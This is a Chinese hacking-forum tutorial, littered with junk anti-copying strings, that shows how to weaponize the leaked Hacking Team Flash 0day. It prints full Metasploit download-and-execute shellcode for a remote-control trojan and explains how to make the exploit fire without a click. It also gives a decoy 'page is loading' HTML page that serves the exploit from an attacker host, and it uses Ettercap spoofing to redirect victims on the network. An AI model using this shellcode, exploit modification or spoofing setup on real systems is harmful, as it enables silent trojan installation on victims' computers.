: l9 d6 a$ {) d; i
三、flash 0day之手工代码修改制作下载者实例入侵演示
# L+ {6 A- R- y/ W* X4 i$ c* P
6 W u' ~0 M( L0 ?5 Z% o) S1 H
' Z; V4 n9 s3 q& O6 X4 z% D; ~( f 利用到的工具: ) X- }5 p! T. A7 D3 T
# `& `( j1 g3 q8 i& l+ T
7 J6 k! T0 X% d Msf
- a; G r% [1 ]
" e- c8 [4 P+ {: {/ E% L( b) n, a9 Z: [ i S6 F5 d
Ettercap
) q6 `- b, S! `" t: i# j; k9 o
4 V8 a* y" [3 E+ }; P
: L' i6 F# k" g6 W Adobe Flash CS6
1 T) P) s3 J4 |/ {7 C3 N1 P/ M( i
) C! p" z1 N: C' \. m. l9 t6 G, s, k! Z3 f& i3 |! b7 {/ n* {
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
7 s: `2 t0 _1 s. q2 S* f # d- t1 R, I% s0 j5 z$ Q8 r, O
9 S0 s K4 v2 l% y6 O, @
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options . [9 ~& v6 @4 g% c4 P/ w
( S3 U4 b% l, ?/ t7 d0 c+ J9 W! J) {) d& h
如图: , v5 a3 l7 W1 M1 B
# z$ G) h1 I/ V* f: j
+ |1 \; w7 P0 Z4 L& L
6 F* y; J, y j9 O) A- y3 E
6 W, T1 a) \3 y' x: ~! {' y# J
; U- R5 ?8 f2 e5 G* {% c7 W1 S8 N
y& K( n; H$ g : h, O n: _; N' q0 ?
+ X: v( v+ B, \$ ^+ p: z4 K 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: # j" |0 B2 p, b; y$ ]# D; q ^
9 W0 ?' }: Q; N. p' `! o7 _1 z7 o
1 Y& R P: K/ k4 @( k( h
9 _# {9 b" o( y; b
: b" e2 m* V8 u; t9 s+ ?+ J
9 n! |9 {' A9 w. L) P* q7 `' P ' E+ U1 H; n( u4 P; P
) S5 h' S! a. S* k5 H
5 D8 c3 j4 f2 g" H" X" P 然后执行generate -t dword生成shellcode,如下:
9 H9 f. ^6 G2 `3 ?# @8 r
9 I5 \( |4 s" ^2 b' Q4 C* Q! a2 f% v3 P
1 O3 k5 @, A. U1 X: x6 l
: e: I7 |" Z/ Z
: T4 l" p: c9 ?; M8 H) ?& g9 w 复制代码到文本下便于我们一会编辑flash exp,如下:
% ~+ g+ R! z F# O+ Q( S
1 G# M" B! T; o- q0 j% u1 R% R9 V' j* B; A5 g9 Y3 u7 P
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 8 ]% o) w$ @- z$ S. }' h
7 o- t! W- c* r3 S/ E5 Q' b
9 P7 U5 \. H7 C; F
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
: a$ u+ h. b! A& }5 ?
{7 z( _' e5 S; z# v9 y; R+ @; R8 t: M4 M
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, & X, ]" J0 ^) a9 b0 R& f. u, S0 P
* x; a; C V; G: A, |, ]: D ~
& r+ m6 ~* l# I+ w+ r
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, ) o/ r# l1 |5 r5 O- Z2 H
9 L& t; c. m( d- L
9 _; ^, P% K; C0 t0 I
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
7 N% m/ c& V" R* E
6 \/ N/ H& X' o# u+ X' P
% B' B. {, F$ P0 [3 n/ U5 Z0 S 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
5 }1 f% q1 I6 Z/ R" R# ` + }. L7 u$ b, o! m" Y' U- X% j2 r5 x
/ n# @0 m0 s( G- C 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
$ N# m1 n4 \8 k
( t4 z5 @# X; j3 }1 y: @: C1 \" ~/ b5 q3 `, o# W
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, - S3 t, F) Q9 Z7 k4 _/ |7 d* h
2 v; L o# q* }! V7 N( D
# |8 x* K& | h' r: W
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
) P* [$ t2 n/ v+ v
+ J' a; c/ M* k1 _4 b0 O; h+ t* N) `" ], J/ L- x" T
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
# g" N7 N5 K- B6 g8 z- |% o5 Z & n f' }9 R+ u* h$ P4 D
9 y- Y# Q7 [- X+ [. _0 E
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, ( t$ W5 Z# ]7 K$ t I6 m
. w; d- a5 B3 A7 A( N5 r- g
: i5 f& |; o( X$ L8 } 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, + O9 ^3 Q* s1 w- q
6 f' Z6 ^/ b) T+ _5 S, e. d
- m1 [" A, c8 `0 T7 _, T. J
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 4 W! s9 G" S. S( o. g$ O2 |0 r ?
7 @- q6 `# Z. W% j# {
6 z/ a( X+ z# g/ ?/ J+ V 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 6 V [, Y. h" d7 V! [" h
5 G3 ]2 u2 D( L# C$ z4 @8 s0 p4 {0 @1 n; Q
( U$ W9 \+ L! w- A }
- ?; M- V. g* a8 Z! | E! k- W: ^# B
- p& I/ A1 X% j4 p: M
; r; k9 c2 m/ s/ W/ ^( v& w1 }$ a' ?
- i$ J& U2 m% j1 p" W) t9 J0 |. P 下面我们来修改flash 0day exp,需要修改三个文件,分别为: " p( H: ^3 }& F. x2 T# X
4 `. R. b' D$ B3 Z- J' z6 X
0 w5 P9 Y) Y* I3 q# q3 i6 _6 E9 \ 1 ?" R. l& [. P: @' @. g6 W
/ [' N2 Z7 G O0 v4 J* j$ V9 b4 W% I9 k1 I( Y) ~/ ^" z: L! W
先修改ShellWin32.as,部分源代码如图: : x. Q8 F0 J6 j* a
4 U+ J0 D2 N" I1 G* J7 t
- E5 s+ ], |2 R8 n5 a, G 5 G0 G" O7 `1 C* ^- T
$ R- f* _% s% @; F9 b2 L( j5 h0 e' ~8 ]3 N7 H( B8 r% Y, [2 L
我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: ) h7 l) ?- O |6 q6 r+ B
$ d+ t/ |( ?+ v3 g; x0 y4 I1 X4 |" \, h F3 U
; \% U! D9 G! I" _! R/ u - M7 A. c* _0 M3 r) A
: m5 \6 x- x8 Z3 J8 B
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
t" p2 V2 X/ Q
) }. J6 o* X2 j$ L0 b/ g: }, h' l; P' e F- t: J
, P, ?" ]+ a* ~
3 x# @* }' M5 ~! [& s
2 k. c" Z# t, l" z 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
9 F) c5 W/ E+ q/ q* h ! Q, g& e& n$ R; [- b7 M
0 h, F( l3 _( n* K5 u3 F/ D% @- L6 f
. S& B4 `! \& m" ~( `2 L 8 ` T |: U+ ^3 x; u! h
, r2 K# A* U9 Z6 B1 T
' c: O1 w& C- m: @
/ w' L' e% \4 s" \- q) ^
9 c, [! l' q0 r2 u3 ?2 `2 F9 v : S& z1 G. V0 a
1 y6 s, Q& @5 F' ]( B5 X8 P# z. Q7 a6 l0 {! R
然后点保存,下面我们来编译一下,打开
9 e) r! ]( q5 h& G! c 3 ?2 q, I1 z. {; T5 n2 s# p2 b. _ n8 p
+ ~7 G4 O1 s/ I( c exp1.fla然后点文件-发布,看看编译没错误
" p+ `$ Q2 m3 f0 p* ` ) N3 h( J& ~/ r" y3 ?
+ s( m2 }$ ?5 J" Y3 l! i `
5 C" e8 v Y( A$ i
3 v6 Z+ P' X; F, `& \3 S- n
" ^4 f* x3 G+ |8 n! G 4 C7 E; t0 Y+ O
7 U7 ^8 L% J$ g+ G% S$ l
1 H' @5 ^$ r% q( F9 a) N) S* Q + M3 T$ j; \# \8 A2 \
6 c$ z7 `# W: O
' c5 E6 ~7 R6 |! Z
$ e! T1 }3 }* T! h! N& ^! K3 | ( g# d& R7 a+ H$ z0 b/ V( n
! h+ y" ]5 U: K0 ~ x3 X 然后我们把生成的
3 X h. h' P1 ?! T/ R, X# i; E$ [ : a" X2 T' h6 m n& b
, j4 r. E7 g( j
exp1.swf丢到kailinux 的/var/www/html下: 3 H4 m6 F' R; k
* N4 v9 W1 u. A) E7 G# y2 _
8 ]4 k' F! i6 W0 |* g& U' l
然后把这段代码好好编辑一下 : S; M8 b8 K3 O# G9 c
6 V; Z/ \5 o' M) X: j* i+ }
3 r1 }! Y' W( a4 n4 Z/ E {
1 U* Y' r) y% P6 b% H& B: Q' P + H" r9 x/ o7 Z3 i: K: j9 v
0 U# v# u% Y5 m2 e7 ~
0 B z o5 o3 }3 L
5 \" O1 M$ ~' b, A! @# L0 h8 w, d, s! o7 G4 c2 `! v
! S9 j) s# B: E( T4 G 4 ^4 m) D9 i9 ~; ?
' D" B+ A7 Z1 x* }5 I% g& o* M
" _' g2 c& G1 }% ?+ E8 T& ^) M! o
& X6 o6 t4 ^8 ^/ U/ J! U( p# n! y8 k+ J! t) x( `
9 q3 K2 v) C' O* i3 R1 K& j& x ) p, F4 k7 U- A
r5 h+ O9 a: ` 1 f# ^( Z$ S+ S3 x
5 L. E3 N3 i3 m5 ?" g4 L* W) t
% j; s7 ~7 V) L6 B* _% Q- c% R1 W
<!DOCTYPE html>
' h) m" G/ z- y* J$ Y1 x% t. t/ S 6 |+ C E+ }5 ^3 f' o; m$ [
# G* @: A1 u$ l4 ]% e
<html>
/ }0 u( G$ X5 K& x) l: R& s
8 H9 i7 S. H8 y* R( D$ Q/ V# u$ W& k* [: y1 N( z, m9 [2 q
<head> 3 j4 P# p2 N4 U; G- `
( I+ q2 f' b9 a( z ?' o
! d r9 b+ C1 m) l4 {% _ <meta http-equiv="Content-Type" content="text/html; $ o U: M. M: u" E4 p! k
% ^3 y P# j8 D3 _" R" `9 i( s
' i+ p% k2 x: e% Z7 ? charset=utf-8"/> + F \9 y' V% `2 B- O4 N% m$ j
, L2 p( }9 Y% m" m0 {
( d% X% [. X) m </head> , {! j, ~+ p2 L8 D7 J3 i! ]" `% J
" b% M! ]5 P+ g2 a2 |$ r( `5 a8 \+ j$ l- |
<body>
! \4 o$ L1 \6 K5 u( k( q2 E7 { 9 z5 a6 y0 p/ c
0 L1 Z, z4 n: Y9 n4 B9 z9 B
<h2> Please wait, the requested page is loading...</h2> . \* N8 J4 m9 v. n% f- U% m, h
u* A( V3 }3 R' d4 V
) j) ]2 F8 N9 ?; {9 N% ~+ r <br>
$ o8 G1 z! T7 Q }# N) t, g
" j) C, i" ?$ y. e2 i: x2 [ B5 v7 Q9 ~% F, O4 e# p7 E
<OBJECT / r j: f$ a9 G6 a! H7 C
( f! u ^( h. j% u; Z; M& i9 g+ V, P3 I' P# W8 ?# i. n' n
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie ' q) P- P' Z5 v6 @
7 q, g2 x; D8 {9 @$ L& b8 B" _, f& f# G/ @
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> % @/ m- g a. O* R
& N5 M; a0 [0 r7 t+ _- @0 V" p- {, J8 r$ I5 h1 l& f- p, W
</body> ' P. k: }: f7 y$ e
& e) {0 Q8 c, ^4 Z8 E( I! P, e9 ^0 {5 G% y% B" Y
<script>
9 T: q- Z' o" x- K/ S$ `" W ) z5 @7 o2 u. P
( ^4 A- G( u( K4 Q setTimeout(function () {
! ]/ l9 @) k! ?1 T
( t. q* F" x1 e+ Q7 x# D
* p |4 J& C* Q n4 o - M: x* v5 d5 H/ ~
. ?) [; I* x$ c$ ]2 |0 R2 \% e3 |6 r5 U( b( I
window.location.reload();
( i( ^1 H0 I( G: D
4 d n6 N8 s6 |0 J( \; ^3 t. K
# u% ^5 i' u/ B2 T& o6 v; J }, 10000); 9 F4 `6 F' p5 w: t7 Y4 N- Z& a
* C$ r# @$ Q- `/ E9 }* d$ b& z# a* Y3 w# |
' a) {. m0 U+ w2 D, d/ t 8 w& Q* k* W7 L( P/ {- ]
+ b4 a" s1 h+ j' i, Z' K. I
</script> " _# V* [9 O# R6 p: i
5 N5 h K' ?' c7 D! [
; l4 p7 Z% k5 |! t7 ?
</html> % }2 M) F4 V( w0 B- }( P
3 c" g' y: v; l2 s. K4 Z r3 t
& E* d" Y t3 x! h1 X# k. N0 b
+ k; ~1 G. g. `0 Q! E: v& w) k
' Z) x+ T0 H0 ?: B8 Q. \7 Q% S* t5 {' ^
' G& m; @& w6 G+ U1 j2 u 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: 3 A+ h: t+ a' _
& X- L9 S- w3 f- u0 W$ k2 A2 w) \% Y& x- u: W
" U }* }$ }. x* `2 d; Z) Z
c; b' }: E* \1 C
8 W, y- C( y# s. g0 a5 D 8 t& I |: J( ^9 j
% \! l6 H& \) ?- }5 R2 o! u
' [. \* H# Y9 J& d3 s" { ) H% r @0 g& p2 k, X; l
& @9 n' D' ]! I. ~" H$ L% K* \# c2 @( X' y3 k
9 a1 K9 H+ s* s8 P# A7 [
9 l& Z9 L2 a, F/ ~7 m( ?
& u2 ^; ~7 N3 P
* o6 l* w2 P( d" O % j6 g$ L" B+ _; j$ f3 [
9 e# v' h2 `* b9 R; X5 H; g
下面我们用ettercap欺骗如图: 2 Y- O# G4 R: P! y/ l
$ t" q; J- o1 f" v/ X3 i, ~- Z B1 x+ F* R* T3 i, u# Z
+ `1 @/ p& a, y/ r1 }6 K& I; ], v6 F
) n- T+ c# @$ U' `6 B0 C9 u
3 V# t- w$ j7 X# C# S) X: [; u+ ~ - E( h. ?* |3 h
2 U& |/ O' R8 h5 \
, D. [' q9 X/ ~' [& e7 ^
下面我们随便访问个网站看看: ; S. f+ P! D6 ]7 w2 @
, \/ y' ?( ~9 ^6 ?# V7 k' o. _ }3 E z9 A, R' X/ ?' {6 h) Z9 a
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
( x$ r W& z5 x" y . o# d/ Q. t G1 q9 K, w
# H* `# L( v% C, ~* {6 Q. |! Z3 G. \8 M v1 n& U$ U) [$ k; Z+ L
4 y6 a& i5 r+ K7 x; ?# J3 S t
4 p2 R% m4 F9 b' y* Q
我们看另一台, 4 z {0 s& x$ w' w: f1 s
# x: E' A' c" Z/ a4 d/ T' f# |* [9 _8 z" `# i; |! R
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。
i2 G: i% n1 G+ J: r |